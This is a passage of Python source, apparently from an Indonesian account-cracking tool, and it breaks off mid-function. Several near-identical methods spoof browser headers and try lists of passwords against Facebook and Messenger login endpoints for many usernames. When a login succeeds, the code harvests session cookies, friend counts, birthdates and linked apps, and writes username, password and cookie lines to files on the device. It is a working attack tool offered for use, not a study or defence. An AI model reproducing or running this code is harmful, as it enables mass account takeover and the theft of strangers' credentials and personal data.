- self.response = byps.post('https://web.facebook.com/login/?privacy_mutation_token={}'.format(privacy_mutation_token), data = self.payload, allow_redirects = True)
- if 'c_user' in byps.cookies.get_dict().keys():
- self.ok+=1
- cookie = (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
- try: convert_username = re.findall('c_user=(\d+)', cookie)[0]
- except (Exception) as e: convert_username = username
- if 'ya' in self.opsi:
- try:
- teman_akun, tanggal_lahir = Requ().GetFriends(cookie), Requ().GetUltah(cookie)
- Requ().bahasa(cookie); Requ().ApkActive(cookie); Requ().ApkInactive(cookie); Requ().ApkDeleted(cookie)
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
- true = tree.add(Columns([Panel(f"[bold green]{teman_akun}", title = "[bold grey50] ([bold green]Teman Akun[bold grey50])", style = "bold grey50", width=30), Panel(f"[bold green]{tanggal_lahir}", title = "[bold grey50] ([bold green]Tanggal Lahir[bold grey50])", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
- true = tree.add(Panel.fit("[bold green]APLIKASI AKTIF", style = "bold grey50"), style="bold white")
- if len(active)==0: true.add('[bold green]tidak ada aplikasi terkait active')
- else:
- for apk in active: true.add(f"{apk}")
- true = tree.add(Panel.fit("[bold yellow]APLIKASI INACTIVE", style = "bold grey50"), style="bold white")
- if len(inactive)==0: true.add('[bold yellow]tidak ada aplikasi terkait inactive')
- else:
- for apk in inactive: true.add(f"{apk}")
- true = tree.add(Panel.fit("[bold red]APLIKASI REMOVED", style = "bold grey50"), style="bold white")
- if len(deleted)==0: true.add('[bold red]tidak ada aplikasi terkait removed')
- else:
- for apk in deleted: true.add(f"{apk}")
- printz(tree)
- save = (f'{convert_username}|{passe}|{teman_akun}|{tanggal_lahir}|{cookie}\n')
- except (Exception) as e:
- print(e)
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
- printz(tree)
- save = (f'{convert_username}|{passe}|{cookie}\n')
- else:
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
- printz(tree)
- save = (f'{convert_username}|{passe}|{cookie}\n')
- with open('/sdcard/OK/ok-'+self.alt,'a') as wr:
- wr.write(save)
- wr.close()
- break
- elif 'checkpoint' in byps.cookies.get_dict().keys():
- try: convert_username = byps.cookies.get_dict()['checkpoint'].split('3A')[1].split('%')[0]
- except (Exception) as e: convert_username = username
- tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold red]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold red]{passe}", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold red]{ua_generate}", style = "bold grey50", width=61))
- printz(tree)
- self.cp+=1
- with open('/sdcard/CP/cp-'+self.alt,'a') as wr:
- wr.write(f'{convert_username}|{passe}\n')
- wr.close()
- break
- else: continue
- except (requests.exceptions.TooManyRedirects, requests.exceptions.ConnectionError):
- Console().print(f"[bold grey50] ──>[bold red] KONEKSI ERROR!", end='\r')
- time.sleep(31)
- self.lp+=1
- def ExecReguler(self, username, password):
- byps = requests.Session()
- Console().print(f"[bold grey50] ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.lp}[bold grey50]/[bold blue]{'{:.0%}'.format(self.lp/float(len(dump)))}[bold grey50]/[bold white] Ok:-[bold green]{self.ok}[bold white] Cp:-[bold red]{self.cp}[bold white] ", end='\r')
- ua_generate = Requ().useragent_fb()
- while True:
- try:
- if 'ya' in self.uaman: ua_generate = self.uaku[0]
- else: ua_generate
- byps.headers.update({
- 'accept-language': 'en-US,en;q=0.9',
- 'sec-fetch-mode': 'navigate',
- 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
- 'connection': 'keep-alive',
- 'sec-ch-ua-mobile': '?0',
- 'sec-ch-ua': '"Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"',
- 'sec-fetch-sest': 'document',
- 'sec-fetch-site': 'none',
- 'cache-control': 'max-age=0',
- 'sec-fetch-user': '?1',
- 'upgrade-insecure-requests': '1',
- 'host': 'web.facebook.com',
- 'user-agent': ua_generate,
- })
- self.poge = byps.get('https://web.facebook.com/').text
- try:
- lsd = re.search('name="lsd" value="(.*?)"', str(self.poge)).group(1)
- jazoest = re.search('name="jazoest" value="(.*?)"', str(self.poge)).group(1)
- login_source = re.search('name="login_source" value="(.*?)"', str(self.poge)).group(1)
- next = re.search('name="next" value="(.*?)"', str(self.poge)).group(1)
- __spin_t = re.search('"__spin_t":(\d+),', str(self.poge)).group(1)
- __js_datr = re.search('"_js_datr","(.*?)",', str(self.poge)).group(1)
- except (AttributeError) as e:
- continue
- self.payload = {
- 'lsd': lsd,
- 'jazoest': jazoest,
- 'cred_type': '100',
- 'login_source': login_source,
- 'next': next
- }
- byps.headers.update({
- 'cookie': ';'.join(['%s=%s'%(name,value) for name, value in byps.cookies.get_dict().items()])+';__js_datr='+str(__js_datr),
- 'sec-fetch-site': 'same-origin',
- 'origin': 'https://web.facebook.com',
- 'accept': '*/*',
- 'sec-ch-ua-platform': 'Linux',
- 'content-type': 'application/x-www-form-urlencoded',
- 'x-fb-lsd': self.payload['lsd'],
- 'sec-ch-ua-full-version-list': '"Chromium";v="122.0.6261.64", "Not(A:Brand";v="24.0.0.0", "Google Chrome";v="122.0.6261.64"',
- 'referer': 'https://web.facebook.com/?__rdc=1&__rdr=1',
- 'content-length': str(len(("&").join([ "%s=%s" % (name, value) for name, value in self.payload.items() ])))
- })
- #self.proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
- break
- except (requests.exceptions.ConnectionError): time.sleep(5); self.ExecReguler(username, password)
- except (Exception) as e: pass
- for passe in password:
- try:
- self.payload.update({'email': username, 'encpass': '#PWD_BROWSER:0:{}:{}'.format(__spin_t, passe)})
- self.response = byps.post('https://web.facebook.com/login/device-based/regular/login/', data = self.payload, allow_redirects = True)
- if 'c_user' in byps.cookies.get_dict().keys():
- self.ok+=1
- cookie = (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
- try: convert_username = re.findall('c_user=(\d+)', cookie)[0]
- except (Exception) as e: convert_username = username
- if 'ya' in self.opsi:
- try:
- teman_akun, tanggal_lahir = Requ().GetFriends(cookie), Requ().GetUltah(cookie)
- Requ().bahasa(cookie); Requ().ApkActive(cookie); Requ().ApkInactive(cookie); Requ().ApkDeleted(cookie)
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
- true = tree.add(Columns([Panel(f"[bold green]{teman_akun}", title = "[bold grey50] ([bold green]Teman Akun[bold grey50])", style = "bold grey50", width=30), Panel(f"[bold green]{tanggal_lahir}", title = "[bold grey50] ([bold green]Tanggal Lahir[bold grey50])", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
- true = tree.add(Panel.fit("[bold green]APLIKASI AKTIF", style = "bold grey50"), style="bold white")
- if len(active)==0: true.add('[bold green]tidak ada aplikasi terkait active')
- else:
- for apk in active: true.add(f"{apk}")
- true = tree.add(Panel.fit("[bold yellow]APLIKASI INACTIVE", style = "bold grey50"), style="bold white")
- if len(inactive)==0: true.add('[bold yellow]tidak ada aplikasi terkait inactive')
- else:
- for apk in inactive: true.add(f"{apk}")
- true = tree.add(Panel.fit("[bold red]APLIKASI REMOVED", style = "bold grey50"), style="bold white")
- if len(deleted)==0: true.add('[bold red]tidak ada aplikasi terkait removed')
- else:
- for apk in deleted: true.add(f"{apk}")
- printz(tree)
- save = (f'{convert_username}|{passe}|{teman_akun}|{tanggal_lahir}|{cookie}\n')
- except (Exception) as e:
- print(e)
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
- printz(tree)
- save = (f'{convert_username}|{passe}|{cookie}\n')
- else:
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
- printz(tree)
- save = (f'{convert_username}|{passe}|{cookie}\n')
- with open('/sdcard/OK/ok-'+self.alt,'a') as wr:
- wr.write(save)
- wr.close()
- break
- elif 'checkpoint' in byps.cookies.get_dict().keys():
- try: convert_username = byps.cookies.get_dict()['checkpoint'].split('3A')[1].split('%')[0]
- except (Exception) as e: convert_username = username
- tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold red]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold red]{passe}", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold red]{ua_generate}", style = "bold grey50", width=61))
- printz(tree)
- self.cp+=1
- with open('/sdcard/CP/cp-'+self.alt,'a') as wr:
- wr.write(f'{convert_username}|{passe}\n')
- wr.close()
- break
- else: continue
- except (requests.exceptions.TooManyRedirects, requests.exceptions.ConnectionError):
- Console().print(f"[bold grey50] ──>[bold red] KONEKSI ERROR!", end='\r')
- time.sleep(31)
- self.lp+=1
- def ExecMassenger(self, username, password):
- byps = requests.Session()
- Console().print(f"[bold grey50] ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.lp}[bold grey50]/[bold blue]{'{:.0%}'.format(self.lp/float(len(dump)))}[bold grey50]/[bold white] Ok:-[bold green]{self.ok}[bold white] Cp:-[bold red]{self.cp}[bold white] ", end='\r')
- ua_generate = Requ().useragent_fb()
- while True:
- try:
- if 'ya' in self.uaman: ua_generate = self.uaku[0]
- else: ua_generate
- byps.headers.update({
- 'accept-language': 'en-US,en;q=0.9',
- 'sec-fetch-mode': 'navigate',
- 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
- 'connection': 'keep-alive',
- 'sec-ch-ua-mobile': '?0',
- 'sec-ch-ua': '"Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"',
- 'sec-fetch-sest': 'document',
- 'sec-fetch-site': 'none',
- 'cache-control': 'max-age=0',
- 'sec-fetch-user': '?1',
- 'upgrade-insecure-requests': '1',
- 'host': 'www.messenger.com',
- 'user-agent': ua_generate,
- })
- self.poge = byps.get('https://www.messenger.com/').text
- try:
- lsd = re.search('name="lsd" value="(.*?)"', str(self.poge)).group(1)
- jazoest = re.search('name="jazoest" value="(.*?)"', str(self.poge)).group(1)
- initial_request_id = re.search('name="initial_request_id" value="(.*?)"', str(self.poge)).group(1)
- lgnrnd = re.search('name="lgnrnd" value="(.*?)"', str(self.poge)).group(1)
- lgnjs = re.search('name="lgnjs" value="(.*?)"', str(self.poge)).group(1)
- __js_datr = re.search('"_js_datr","(.*?)",', str(self.poge)).group(1)
- except (AttributeError) as e:
- continue
- self.payload = {
- 'lsd': lsd,
- 'jazoest': jazoest,
- 'initial_request_id': initial_request_id,
- 'timezone': '-420',
- 'lgndim': '',
- 'lgnrnd': lgnrnd,
- 'lgnjs': lgnjs,
- 'login': '1',
- 'persistent': '1',
- 'default_persistent': ''
- }
- byps.headers.update({
- 'cookie': ';'.join(['%s=%s'%(name,value) for name, value in byps.cookies.get_dict().items()])+';__js_datr='+str(__js_datr),
- 'sec-fetch-site': 'same-origin',
- 'origin': 'https://www.messenger.com',
- 'accept': '*/*',
- 'sec-ch-ua-platform': 'Linux',
- 'content-type': 'application/x-www-form-urlencoded',
- 'x-fb-lsd': self.payload['lsd'],
- 'sec-ch-ua-full-version-list': '"Chromium";v="122.0.6261.64", "Not(A:Brand";v="24.0.0.0", "Google Chrome";v="122.0.6261.64"',
- 'referer': 'https://www.messenger.com/Index.php?',
- 'content-length': str(len(("&").join([ "%s=%s" % (name, value) for name, value in self.payload.items() ])))
- })
- #self.proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
- break
- except (requests.exceptions.ConnectionError): time.sleep(5); self.ExecMassenger(username, password)
- except (Exception) as e: pass
- for passe in password:
- try:
- self.payload.update({'email': username, 'pass': passe})
- self.response = byps.post('https://www.messenger.com/login/password/', data = self.payload, allow_redirects = True)
- if 'c_user' in byps.cookies.get_dict():
- self.ok+=1
- print('ok')
- cookie = (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
- try: convert_username = re.findall('c_user=(\d+)', cookie)[0]
- except (Exception) as e: convert_username = username
- if 'ya' in self.opsi:
- try:
- teman_akun, tanggal_lahir = Requ().GetFriends(cookie), Requ().GetUltah(cookie)
- Requ().bahasa(cookie); Requ().ApkActive(cookie); Requ().ApkInactive(cookie); Requ().ApkDeleted(cookie)
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
- true = tree.add(Columns([Panel(f"[bold green]{teman_akun}", title = "[bold grey50] ([bold green]Teman Akun[bold grey50])", style = "bold grey50", width=30), Panel(f"[bold green]{tanggal_lahir}", title = "[bold grey50] ([bold green]Tanggal Lahir[bold grey50])", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
- true = tree.add(Panel.fit("[bold green]APLIKASI AKTIF", style = "bold grey50"), style="bold white")
- if len(active)==0: true.add('[bold green]tidak ada aplikasi terkait active')
- else:
- for apk in active: true.add(f"{apk}")
- true = tree.add(Panel.fit("[bold yellow]APLIKASI INACTIVE", style = "bold grey50"), style="bold white")
- if len(inactive)==0: true.add('[bold yellow]tidak ada aplikasi terkait inactive')
- else:
- for apk in inactive: true.add(f"{apk}")
- true = tree.add(Panel.fit("[bold red]APLIKASI REMOVED", style = "bold grey50"), style="bold white")
- if len(deleted)==0: true.add('[bold red]tidak ada aplikasi terkait removed')
- else:
- for apk in deleted: true.add(f"{apk}")
- printz(tree)
- save = (f'{convert_username}|{passe}|{teman_akun}|{tanggal_lahir}|{cookie}\n')
- except (Exception) as e:
- print(e)
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
- printz(tree)
- save = (f'{convert_username}|{passe}|{cookie}\n')
- else:
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
- printz(tree)
- save = (f'{convert_username}|{passe}|{cookie}\n')
- with open('/sdcard/OK/ok-'+self.alt,'a') as wr:
- wr.write(save)
- wr.close()
- break
- elif 'checkpoint' in str(self.response.url):
- try: convert_username = byps.cookies.get_dict()['checkpoint'].split('3A')[1].split('%')[0]
- except (Exception) as e: convert_username = username
- tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold red]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold red]{passe}", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold red]{ua_generate}", style = "bold grey50", width=61))
- printz(tree)
- self.cp+=1
- with open('/sdcard/CP/cp-'+self.alt,'a') as wr:
- wr.write(f'{convert_username}|{passe}\n')
- wr.close()
- break
- else: continue
- except (requests.exceptions.TooManyRedirects, requests.exceptions.ConnectionError):
- Console().print(f"[bold grey50] ──>[bold red] KONEKSI ERROR!", end='\r')
- time.sleep(31)
- self.lp+=1
- def ExecAsyinc(self, username, password):
- byps = requests.Session()
- Console().print(f"[bold grey50] ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.lp}[bold grey50]/[bold blue]{'{:.0%}'.format(self.lp/float(len(dump)))}[bold grey50]/[bold white] Ok:-[bold green]{self.ok}[bold white] Cp:-[bold red]{self.cp}[bold white] ", end='\r')
- ua_generate = random.choice([Requ().useragent_api(), Requ().useragent_fb()])
- while True:
- try:
- if 'ya' in self.uaman: ua_generate = self.uaku[0]
- else: ua_generate
- byps.headers.update({
- "connection": "keep-alive",
- "accept-language": "en-US,id-ID,id;q=0.9",
- "sec-fetch-mode": "navigate",
- "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
- "sec-fetch-sest": "document",
- "sec-fetch-site": "none",
- "cache-control": "max-age=0",
- "upgrade-insecure-requests": "1",
- 'sec-fetch-user': '?1',
- "Host": "m.prod.facebook.com",
- "user-agent": ua_generate,
- })
- self.poge = byps.get('https://m.prod.facebook.com/login.php?skip_api_login=1&api_key=665739203554918&kid_directed_site=0&app_id=665739203554918&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fdialog%2Foauth%3Fdisplay%3Dtouch%26auth_type%3Dreauthenticate%26response_type%3Dcode%26redirect_uri%3Dhttps%253A%252F%252Faccounts.stockx.com%252Flogin%252Fcallback%26scope%3Demail%252Cpublic_profile%26state%3DetsBcG6cJ0M43pbB5R7E3z3xn6Gii8sd%26client_id%3D665739203554918%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Da053e0a9-648e-47d1-a279-53ee2a0f9190%26tp%3Dunspecified&cancel_url=https%3A%2F%2Faccounts.stockx.com%2Flogin%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DetsBcG6cJ0M43pbB5R7E3z3xn6Gii8sd%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr').text
- try:
- lsd = re.search('name="lsd" value="(.*?)"', str(self.poge)).group(1)
- jazoest = re.search('name="jazoest" value="(.*?)"', str(self.poge)).group(1)
- li = re.search('name="li" value="(.*?)"', str(self.poge)).group(1)
- m_ts = re.search('name="m_ts" value="(.*?)"', str(self.poge)).group(1)
- except (AttributeError) as e:
- continue
- self.payload = {
- 'm_ts': m_ts,
- 'li': li,
- 'try_number': '0',
- 'unrecognized_tries': '0',
- 'prefill_contact_point': username,
- 'prefill_source': 'browser_dropdown',
- 'prefill_type': 'password',
- 'first_prefill_source': 'browser_dropdown',
- 'first_prefill_type': 'contact_point',
- 'had_cp_prefilled': 'true',
- 'had_password_prefilled': 'true',
- 'is_smart_lock': 'false',
- 'bi_xrwh': '0',
- 'bi_wvdp': '{"hwc":true,"hwcr":false,"has_dnt":true,"has_standalone":false,"wnd_toStr_toStr":"function toString() { [native code] }","hasPerm":true,"permission_query_toString":"function query() { [native code] }","permission_query_toString_toString":"function toString() { [native code] }","has_seWo":true,"has_meDe":true,"has_creds":true,"has_hwi_bt":false,"has_agjsi":false,"iframeProto":"function get contentWindow() { [native code] }","remap":false,"iframeData":{"hwc":true,"hwcr":false,"has_dnt":true,"has_standalone":false,"wnd_toStr_toStr":"function toString() { [native code] }","hasPerm":true,"permission_query_toString":"function query() { [native code] }","permission_query_toString_toString":"function toString() { [native code] }","has_seWo":true,"has_meDe":true,"has_creds":true,"has_hwi_bt":false,"has_agjsi":false}}',
- 'lsd': lsd,
- 'jazoest': jazoest,
- }
- byps.headers.update({
- 'cookie': ';'.join(['%s=%s'%(name,value) for name, value in byps.cookies.get_dict().items()]),
- 'accept': '*/*',
- 'accept-language': "en-US,id-ID,id;q=0.9",
- 'user-agent': ua_generate,
- 'Host': 'm.prod.facebook.com',
- 'x-fb-lsd': self.payload['lsd'],
- 'sec-ch-ua': '"Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"',
- 'sec-ch-ua-mobile': '?1',
- 'sec-fetch-mode': 'cors',
- 'Connection': 'keep-alive',
- 'sec-fetch-site': 'same-origin',
- 'origin': 'https://m.prod.facebook.com',
- "sec-ch-ua-platform": "Linux",
- 'x-asbd-id': '129477',
- 'referer': 'https://m.prod.facebook.com/login.php?skip_api_login=1&api_key=665739203554918&kid_directed_site=0&app_id=665739203554918&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fdialog%2Foauth%3Fdisplay%3Dtouch%26auth_type%3Dreauthenticate%26response_type%3Dcode%26redirect_uri%3Dhttps%253A%252F%252Faccounts.stockx.com%252Flogin%252Fcallback%26scope%3Demail%252Cpublic_profile%26state%3DetsBcG6cJ0M43pbB5R7E3z3xn6Gii8sd%26client_id%3D665739203554918%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Da053e0a9-648e-47d1-a279-53ee2a0f9190%26tp%3Dunspecified&cancel_url=https%3A%2F%2Faccounts.stockx.com%2Flogin%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DetsBcG6cJ0M43pbB5R7E3z3xn6Gii8sd%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr',
- 'sec-fetch-dest': 'empty',
- 'content-type': 'application/x-www-form-urlencoded',
- 'upgrade-insecure-requests': '1',
- 'sec-ch-ua-full-version-list': '"Chromium";v="122.0.6261.64", "Not(A:Brand";v="24.0.0.0", "Google Chrome";v="122.0.6261.64"',
- 'accept-encoding': 'gzip, deflate, br, zstd',
- 'content-length': str(len(("&").join([ "%s=%s" % (name, value) for name, value in self.payload.items() ])))
- })
- #self.proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
- break
- except (requests.exceptions.ConnectionError): time.sleep(5); self.ExecAsyinc(username, password)
- except (Exception) as e: pass
- for passe in password:
- try:
- self.payload.update({'email': username, 'encpass': '#PWD_BROWSER:0:{}:{}'.format(str(time.time())[:10], passe)})
- self.response = byps.post('https://m.prod.facebook.com/login/device-based/login/async/?api_key=665739203554918&auth_token=5ca13e518ab45548c08cecb0929feb1a&skip_api_login=1&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fdialog%2Foauth%3Fdisplay%3Dtouch%26auth_type%3Dreauthenticate%26response_type%3Dcode%26redirect_uri%3Dhttps%253A%252F%252Faccounts.stockx.com%252Flogin%252Fcallback%26scope%3Demail%252Cpublic_profile%26state%3DetsBcG6cJ0M43pbB5R7E3z3xn6Gii8sd%26client_id%3D665739203554918%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Da053e0a9-648e-47d1-a279-53ee2a0f9190%26tp%3Dunspecified&refsrc=deprecated&app_id=665739203554918&cancel=https%3A%2F%2Faccounts.stockx.com%2Flogin%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DetsBcG6cJ0M43pbB5R7E3z3xn6Gii8sd%23_%3D_&lwv=100', data = self.payload, allow_redirects = True)
- if 'c_user' in byps.cookies.get_dict().keys():
- self.ok+=1
- cookie = (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
- try: convert_username = re.findall('c_user=(\d+)', cookie)[0]
- except (Exception) as e: convert_username = username
- if 'ya' in self.opsi:
- try:
- teman_akun, tanggal_lahir = Requ().GetFriends(cookie), Requ().GetUltah(cookie)
- Requ().bahasa(cookie); Requ().ApkActive(cookie); Requ().ApkInactive(cookie); Requ().ApkDeleted(cookie)
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
- true = tree.add(Columns([Panel(f"[bold green]{teman_akun}", title = "[bold grey50] ([bold green]Teman Akun[bold grey50])", style = "bold grey50", width=30), Panel(f"[bold green]{tanggal_lahir}", title = "[bold grey50] ([bold green]Tanggal Lahir[bold grey50])", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
- true = tree.add(Panel.fit("[bold green]APLIKASI AKTIF", style = "bold grey50"), style="bold white")
- if len(active)==0: true.add('[bold green]tidak ada aplikasi terkait active')
- else:
- for apk in active: true.add(f"{apk}")
- true = tree.add(Panel.fit("[bold yellow]APLIKASI INACTIVE", style = "bold grey50"), style="bold white")
- if len(inactive)==0: true.add('[bold yellow]tidak ada aplikasi terkait inactive')
- else:
- for apk in inactive: true.add(f"{apk}")
- true = tree.add(Panel.fit("[bold red]APLIKASI REMOVED", style = "bold grey50"), style="bold white")
- if len(deleted)==0: true.add('[bold red]tidak ada aplikasi terkait removed')
- else:
- for apk in deleted: true.add(f"{apk}")
- printz(tree)
- save = (f'{convert_username}|{passe}|{teman_akun}|{tanggal_lahir}|{cookie}\n')
- except (Exception) as e:
- print(e)
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
- printz(tree)
- save = (f'{convert_username}|{passe}|{cookie}\n')
- else:
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
- printz(tree)
- save = (f'{convert_username}|{passe}|{cookie}\n')
- with open('/sdcard/OK/ok-'+self.alt,'a') as wr:
- wr.write(save)
- wr.close()
- break
- elif 'checkpoint' in byps.cookies.get_dict().keys():
- try: convert_username = byps.cookies.get_dict()['checkpoint'].split('3A')[1].split('%')[0]
- except (Exception) as e: convert_username = username
- tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold red]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold red]{passe}", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold red]{ua_generate}", style = "bold grey50", width=61))
- printz(tree)
- self.cp+=1
- with open('/sdcard/CP/cp-'+self.alt,'a') as wr:
- wr.write(f'{convert_username}|{passe}\n')
- wr.close()
- break
- else: continue
- except (requests.exceptions.TooManyRedirects, requests.exceptions.ConnectionError):
- Console().print(f"[bold grey50] ──>[bold red] KONEKSI ERROR!", end='\r')
- time.sleep(31)
- self.lp+=1
- def ExecRegulerApi(self, username, password):
- byps = requests.Session()
- Console().print(f"[bold grey50] ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.lp}[bold grey50]/[bold blue]{'{:.0%}'.format(self.lp/float(len(dump)))}[bold grey50]/[bold white] Ok:-[bold green]{self.ok}[bold white] Cp:-[bold red]{self.cp}[bold white] ", end='\r')
- ua_generate = random.choice([Requ().useragent_api(), Requ().useragent_fb()])
- while True:
- try:
- if 'ya' in self.uaman: ua_generate = self.uaku[0]
- else: ua_generate
- byps.headers.update({
- "connection": "keep-alive",
- "accept-language": "en-US,id-ID,id;q=0.9",
- "sec-fetch-mode": "navigate",
